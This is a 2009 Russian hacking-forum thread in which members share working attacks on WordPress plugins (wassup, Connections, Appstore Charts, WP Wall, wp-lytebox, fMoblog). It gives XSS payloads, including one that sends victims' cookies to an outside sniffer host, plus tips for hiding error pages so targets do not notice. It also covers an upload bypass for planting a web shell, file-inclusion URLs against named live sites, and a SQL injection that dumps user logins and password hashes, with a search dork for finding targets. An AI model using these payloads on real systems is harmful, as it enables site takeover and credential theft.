HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Веб-уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Уязвимости модулей WordPress
  #1  
Старый 28.02.2009, 16:09
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию Уязвимости модулей WordPress

Уязвимость в модуле статистики wassup
Version: 1.6.4 (вроде как и <=1.6.4)

Активная XSS
Не фильтруется поле Referrer. Уязвимость есть в двух местах: на главной странице статистики и подробной статистике по IP.
Первый код подробной статистики(wassup/lib/action.php):
PHP код:
$raw_table = $wpdb->get_results("SELECT ip, hostname, agent, referrer, search, searchpage, os, browser, language FROM $table_name WHERE wassup_id='".urlencode(attribute_escape($_GET['wassup_id']))."' ORDER BY timestamp ASC LIMIT 1"); ?>
<div><h2><?php _e("Raw data","wassup"); ?>:</h2>
<ul style="list-style-type:none;padding:20px 0 0 30px;">
<?php foreach ($raw_table as $rt) { ?>
...
<li><?php echo __("Referrer","wassup").": ".urldecode($rt->referrer); ?></li>
...
<?php }
//end foreach ?>
Второй код(wassup/lib/main.php):
PHP код:
$referrer = '<a href="'.$cv->referrer.'" target=_"BLANK">'.stringShortener($cv->referrer, round($max_char_len*.9,0)).'</a>';
...
<?php print $referrer?>
Пример:
Код:
GET /wp/ HTTP/1.0
User-Agent: [любой User agent]
Host: localhost
Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1
Accept-Language: ru-RU,ru;q=0.9,en;q=0.8
Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1
Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0
Referer: XSS к примеру Referer: %3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%29%3C%2F%73%63%72%69%70%74%3E
Proxy-Connection: Keep-Alive
Ну а что бы увидеть эту xss заходим в админку->wassup и лицезреем =)
 
Ответить с цитированием

  #2  
Старый 02.03.2009, 20:48
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

Уязвимость в модуле Connections
Version: 0.4.0 (вроде как и <=0.4.0) в частности класс php_class_upload v.0.26 и ниже

В комплекте с модулем есть папка php_class_upload содержащая класс по работе с файлами(класс не от разработчиков модуля, а сторонний, подробнее можно посмотреть здесь http://www.verot.net/php_class_upload.htm) так вот в этом классе из за не достаточной фильтрации расширения загружаемых файлов в class.upload.php:
PHP код:
            // turn dangerous scripts into text files
            
if ($this->no_script) {
                if (((
substr($this->file_src_mime05) == 'text/' || strpos($this->file_src_mime'javascript') !== false)  && (substr($this->file_src_name, -4) != '.txt'))
                    || 
preg_match('/\.(php|pl|py|cgi|asp)$/i'$this->file_src_name) || empty($this->file_src_name_ext)) {
                    
$this->file_src_mime 'text/plain';
                    
$this->log .= '- script '  $this->file_src_name ' renamed as ' $this->file_src_name '.txt!<br />';
                    
$this->file_src_name_ext .= (empty($this->file_src_name_ext) ? 'txt' '.txt');
                }
            } 
можно залить сначала файл с расширением.htaccess в котором указать AddType application/x-httpd-php .someext ну а дальше уже сам шелл shell.someext, или сразу .phtml или .html
Папку с классом многие копируют без изменений, а файл index.html содержит тестовую форму по загрузке файлов... Вобщем удобная форма по загрузке шела =) к примеру посмотреть можно на оф сайте модуля
Код:
http://www.shazahm.net/wp-content/plugins/connections/php_class_upload/
ну и из за недостаточной фильтрации будут уязвимо все где использован этот класс...

Последний раз редактировалось Kraneg; 02.03.2009 в 22:48..
 
Ответить с цитированием

  #3  
Старый 05.03.2009, 21:14
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

Модуль на WordPress - Appstore Charts
Version v. 1.2

Уязвимость как всегда из за невнимательности разработчиков... Как и в прошлом модуле используются сторонние разработки, в данном случае Magpie RSS - PHP RSS Parser(подробнее можно узнать тут: http://magpierss.sourceforge.net/)
Папка Magpie RSS полностью содержится в составе модуля, а вместе с ним и пробные срипты =) Вобщем уязвимость в следующих местах:
1. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php
Уязвимый код:
PHP код:
$url $_GET['rss_url'];
[...]
if ( 
$url ) {
    echo 
"displaying: $url<p>";
    
$rss fetch_rss$url );
    echo 
slashbox ($rss);
}

echo 
"<pre>";
print_r($rss);
echo 
"</pre>"
Для проверки можно обратиться:
Код:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>alert()</script>
Но можно увидеть что на странице появились ошибки(в частности раскрытие путей) и цель может испугаться или догадаться, и сменить пароль я лично вижу такой выход из ситации =) просто не дать ему увидеть:
Код:
http://localhost/wp/wp-content/plugins/itunes-appstore-charts/magpierss/scripts/magpie_slashbox.php?rss_url=<script>document.location.href="http://addres-snifera.ru/s.gif?"%2Bdocument.cookie</script>
+ на %2B обязательно иначе не пройдет...
2. Уязвимоcть в файле itunes-appstore-charts/magpierss/scripts/magpie_debug.php
Уязвимый код:
PHP код:
if ( isset($_GET['url']) ) {
    
$url $_GET['url'];
}
else {
    
$url 'http://magpierss.sf.net/test.rss';
}

[...]

$rss fetch_rss$url );
    
if (
$rss) {
    echo 
"<h3>Example Output</h3>";
    echo 
"Channel: " $rss->channel['title'] . "<p>";
    echo 
"<ul>";
    foreach (
$rss->items as $item) {
        
$href $item['link'];
        
$title $item['title'];    
        echo 
"<li><a href=$href>$title</a></li>";
    }
    echo 
"</ul>";
}
else {
    echo 
"Error: " magpie_error();
}
?> 
Использование аналогично номеру 1 =) только rss_url на url меняется...
 
Ответить с цитированием

  #4  
Старый 07.03.2009, 14:02
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

Уязвимости в модуле WP Wall
Version: 1.4.2(возможно и ниже)

1.Пассивная XSS
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget-control.php
Уязвимый код:
Код HTML:
<p>Visit <a href="options-general.php?page=wp-wall.php">WP Wall options</a> page for more options.</p>
<p><label for="wall_title">Title: <input  name="wall_title" type="text" value="<?php echo $title; ?>" /></label></p>	
<input type="hidden" id="wall_submit" name="wall_submit" value="1" />
Пример использования:
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget-control.php?title="><script>alert()</script>
2. Еще одна пасивная XSS:
Условия: register_globals = On
Уязвимость в файле wp-wall\wp-wall-widget.php
Уязвимый код:
PHP код:
<?php     
    
echo $before_widget
    echo 
$before_title $wall_title$after_title;
?>
Пример использования:
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_widget=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?before_title=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?wall_title=<script>alert()</script>
Код:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-widget.php?after_title=<script>alert()</script>
Но как и вслучае с модулем Appstore Charts чуть ниже выскакивает ошибка, для того чтобы никого не смущать можно сделать то же самое что и там, к примеру:
Код:
<script>document.location.href="http://addres-snifera.ru/s.gif?"+document.cookie</script>
3.Раскрытие путей и не только(для всех модулей):
Америку не открою наверное, но расскажу свои мысли по поводу плагинов WP... Вобщем никто практически не закрывает для взора папку /wp-content/plugins/ как по мне так это серьезный недочет! Ну скажем когда мы можем ее просматривать, уже видно названия всех плагинов, а это в свою очередь упрощает взлом сайта с установленным WP. Скажем раскрытие путей есть в каждом плагине! Достаточно обратится к любому файлу где есть add_action Пример:
PHP код:
add_action("widgets_init", array('itunescharts_widget''register')); 
И уже видим раскрытие путей! К примеру:
Обратившись:
Код:
http://ubuntu-tutorials.com/wp-content/plugins/WPRP/wp_related_posts.php
видим:
Код:
Fatal error: Call to undefined function add_action() in /var/www/virtual/ubuntu-tutorials.com/html/wp-content/plugins/WPRP/wp_related_posts.php on line 33
, этим страдают поголовно все модули которые я видел... А имея список плагинов мы можем уже подобрать возможные пути взлома, используя уязвимости для плагинов, если таковые имеются!
Теперь о раскрытии путей, иногда может потребоваться, но как я выше написал, в WP насчет этого можно не беспокоится... =) Я не пишу о раскрытии в модулях WP только потому что оно практически везде, покажу на примере WP Wall:
Раскрытие есть в 3 файлах из 4:
1. В файле wp-wall\wp-wall.php есть проверка на версию, если обойти проверку просто обратившись:
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall.php?wp_version=2.7
видим раскрытие...
2. В файле wp-wall\wp-wall-widget.php просто обратившись к нему уже лицезреем раскрытие...
3. В файле wp-wall\wp-wall-ajax.php обратившись к нему
http://localhost/wp/wp-content/plugins/wp-wall/wp-wall-ajax.php?refresh=1
видим раскрытие...
Вобщем расклад не очень, но само раскрытие без уязвимостей в модулях безобидно =)
 
Ответить с цитированием

  #5  
Старый 07.03.2009, 15:29
Kraneg
Участник форума
Регистрация: 30.08.2008
Сообщений: 132
С нами: 9314306

Репутация: 325
По умолчанию

Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
 
Ответить с цитированием

  #6  
Старый 07.03.2009, 18:45
[Raz0r]
Members of Antichat - Level 5
Регистрация: 25.02.2007
Сообщений: 495
С нами: 10109126

Репутация: 1980
По умолчанию

Цитата:
Вообще хотелось бы разобраться в сложившейся ситуации... Совсем запутался... Вобщем я заметил что при xss в модулях WP в куках пароль не выводится, и получется что они бессмысленны? Объясните кто нить это, и что вообще делать дальше? Забить на xss в модулях?
На авторизационные куки ставится флаг httpOnly, если не ошибаюсь начиная с версии 2.7, поэтому XSS действительно может быть мало чем полезен. Ищи выполнение кода
 
Ответить с цитированием

  #7  
Старый 07.03.2009, 19:24
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
С нами: 10005506

Репутация: 784
По умолчанию

Даже скуль-инъекция может быть в >=2.5 полезна, если в конфиге секретный ключ оставлен дефолтный, просто тащим secret_key из базы и генерим на основе его куки.
Так что, +500 к словам Разора, прекращай страдать ерундой с XSS в плагинах)
SQL inj && Code exec && LFI && RFI = is_our_way
 
Ответить с цитированием

  #8  
Старый 24.04.2009, 03:48
Spyder
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
С нами: 10309346

Репутация: 4303


По умолчанию

Честно сказать нашёл случайно в нете и оч удивился что нигде не описания
wp-lytebox
http://grupenet.com/2007/08/03/wp-lytebox/
PHP код:
   if(!isset($pg)) {
      include(
"pages/main.txt");
   } elseif(isset(
$pg)) {
      include(
"pages/".$pg.".txt");
   } 
Ну тут конечно надобы написатт что требуется magic_quotes_gpc=off, но я всё таки нашёл сайтег где можно обойти
http://seimweddings.com/photography/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../etc/hosts%00
http://kateherrick.com/wp-content/plugins/wp-lytebox/main.php?pg=../../../../../../../../../../../../../../../../etc/hosts {тут 5000 слешей}


Кстати /etc/passwd не инклудится вообще)
 
Ответить с цитированием

WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability
  #9  
Старый 12.03.2009, 23:33
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
С нами: 10005506

Репутация: 784
По умолчанию WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability

I. VULNERABILITY
-------------------------
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS)
Vulnerability

II. BACKGROUND
-------------------------
WordPress MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It is most famously used for
WordPress.com where it serves tens of millions of hits on hundreds of
thousands of blogs each day. Also is used in many other sites like
Harvard University and Le Monde.

III. DESCRIPTION
-------------------------
WordPress MU prior to version 2.7 fails to sanitize the Host header
correctly in choose_primary_blog function and is therefore prune to
XSS attacks.
Web Sites running in a name based virtual hosting setup are not
affected while they are not the default virtual host.

IV. PROOF OF CONCEPT
-------------------------
The snippet of vulnerable code:

In wp-includes/wpmu-functions.php, concretly in the function
choose_primary_blog:

1830 function choose_primary_blog() {
1831 global $current_user;
1832 ?>
1833 <table class="form-table">
1834 <tr>
1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
1836 <td>
1837 <?php
1838 $all_blogs = get_blogs_of_user( $current_user->ID );
1839 if( count( $all_blogs ) > 1 ) {
1840 $primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841 ?>
1842 <select name="primary_blog">
1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844 <option value='<?php echo $blog->userblog_id
?>'<?php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path
?></option>
1845 <?php } ?>
1846 </select>
1847 <?php
1848 } else {
1849 echo $_SERVER['HTTP_HOST']; <- HERE
1850 }
1851 ?>
1852 </td>
1853 </tr>
1854 </table>
1855 <?php
1856 }

The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];"
and is possible to inject HTML and script code crafting HTTP Host header:

PoC:
$ curl -H "Cookie: my cookies here" -H "Host: <body
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html

The javascript code will be executed in the context of the victim
browser, this can be exploited to steal cookies and escalate
privileges to administrator.

Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6

V. BUSINESS IMPACT
-------------------------
The impact is the attacker can gain administrator privileges on the
application.

VI. SYSTEMS AFFECTED
-------------------------
Versions prior to 2.7 are affected

VII. SOLUTION
-------------------------
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded
from http://mu.wordpress.org

VIII. REFERENCES
-------------------------
http://mu.wordpress.org

IX. CREDITS
-------------------------
This vulnerability has been discovered
by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

X. REVISION HISTORY
-------------------------
December 03, 2008: Initial release
March 02, 2009: More details added

XI. DISCLOSURE TIMELINE
-------------------------
December 03, 2008: Vendor contacted
December 03, 2008: MU trunk code fixed
January 28, 2008: WordPress MU 2.7 released
March 10, 2009: Vulnerability published by
Internet Security Auditors (www.isecauditors.com)

XII. LEGAL NOTICES
-------------------------
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or otherwise.
Internet Security Auditors accepts no responsibility for any damage
caused by the use or misuse of this information.

#http://milw0rm.com/exploits/8196
 
Ответить с цитированием

  #10  
Старый 21.03.2009, 09:32
edichka
Новичок
Регистрация: 31.01.2009
Сообщений: 22
С нами: 9092536

Репутация: 34
По умолчанию

Wordpress Plugin fMoblog Remote SQL Injection Vulnerability

Код:
Exploit:
http://www.site.com/?page_id=[valid_id]&id=-999+union+all+select+1,2,3,4,group_concat(user_login,0x3a,user_pass,0x3a,user_email),6+from+wp_users--

Dork: inurl:"Gallery powered by fMoblog"

http://www.milw0rm.com/exploits/8229
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обзор уязвимостей CMS [Joomla,Mambo] и их компонентов it's my Веб-уязвимости 361 24.10.2019 10:25
[ Обзор уязвимостей PHP-Nuke ] [53x]Shadow Веб-уязвимости 43 04.02.2012 20:33
[ Обзор уязвимостей SLAED CMS ] _kREveDKo_ Веб-уязвимости 20 01.11.2009 14:28
ОБЗОР УЯЗВИМОСТЕЙ БЕСПЛАТНЫХ ПОЧТОВЫХ СЕРВИСОВ nike57 Уязвимости Mail-сервис 4 05.05.2006 22:03
Статья обзор уязвимостей бесплатных почтовых сервисов markel Уязвимости Mail-сервис 3 12.09.2005 10:07



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...